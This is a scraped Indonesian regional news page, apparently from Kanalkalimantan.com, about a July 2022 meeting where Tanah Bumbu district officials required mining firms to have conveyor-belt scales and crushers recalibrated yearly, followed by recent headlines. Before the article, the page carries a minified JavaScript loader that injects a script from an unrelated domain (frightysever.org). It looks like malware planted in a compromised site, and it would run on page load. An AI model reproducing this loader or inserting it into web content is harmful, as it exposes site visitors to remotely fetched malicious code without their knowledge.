(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

DKUMP2 Tanbu Wajibkan Tera Ulang Compeyor Belt dan Crusher Perusahaan Tambang


KANALKALIMANTAN.COM, BATULICIN – Dinas Koperasi Usaha Mikro Perdagangan dan Perindustrian (DKUMP2) Kabupaten Tanah Bumbu (Tanbu) rapat dengan pihak perusahaan pertambangan yang beroperasi di Tanah Bumbu.

Rapat dibuka langsung Bupati HM Zairullah Azhar didampingi Sekda H Ambo Sakka, dan Staf Ahli Bupati, Rabu (29/6/2022), membahas penerapan kegiatan tera/tera ulang khusus untuk alat UTTP (ukur, takar, timbang, dan perlengkapanya) berupa compeyor belt dan crusher yang selama ini banyak digunakan oleh para pengusaha pertambangan di Tanbu.

Kepala DKUMP2 Tanbu, H Deni Hariyanto, mengatakan, tera dan tera ulang timbangan ban berjalan (compeyor belt dan crusher) sejak tahun 2020 sudah masuk ke dalam ruang lingkup kewenangan Unit Metrologi Legal (UML) Kabupaten Tanbu.

Sesuai dengan surat keputusan Direktorat Metrologi Nomor 39 Tahun 2020, namun baru dilaksanakan tahun 2022 karena baru tahun ini petugas penera berhak punya sertifikasi untuk boleh melaksanakan peneraan.

 

 

Baca juga: Empat Desa di Babirik Mulai Manfaatkan Drone untuk Basmi Gulma di Lahan Pertanian

“Manfaat dari pelaksanaan tera ulang bagi kalangan usaha dan masyarakat adalah punya kepastian hukum dan ukuran, mudah melakukan audit internal maupun eksternal, serta sebagai syarat utama transaksi,” ujarnya.

Sedangkan bagi daerah, sebagai penyumbang sumber PAD dari dunia usaha melalui urusan kemetrologian.

Sementara itu, Bupati HM Zairullah Azhar menyebutkan, dalam rangka untuk menjadikan Kabupaten Tanah Bumbu sebagai kabupaten agamis Bersujud menuju Serambi Madinah maka alat yang digunakan oleh para pengusaha harus tertib dan punya kepastian ukuran dalam kegiatan usaha.

Hasil rapat dan sosialisasi tersebut didapat keputusan bersama mengenai komitmen untuk melaksanakan pelayanan tera dan tera ulang timbangan ban berjalan baik conveyor belt maupun crusher secara berkala setiap tahun sesuai dengan masa wajib tera alat UTTP tersebut.

Hadir pada rapat dan sosialiasi tersebut Kadis DKUMP2, Kadis PMPTSP, Kadishub, Bagian Hukum Setda, Bagian Ekonomi dan SDA Setda , Dinas Satpol PP, Staf Khusus Percepatan Pembangunan, dan perwakilan dari PT BIB, PT TIA , PT BIR, PT STU, PT CLS, PT BKW, PT Bayan Resources, serta PT Dua Samudra Perkasa. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Risa

Recent Posts

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

5 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

5 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

6 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

12 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

14 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

1 hari ago

This website uses cookies.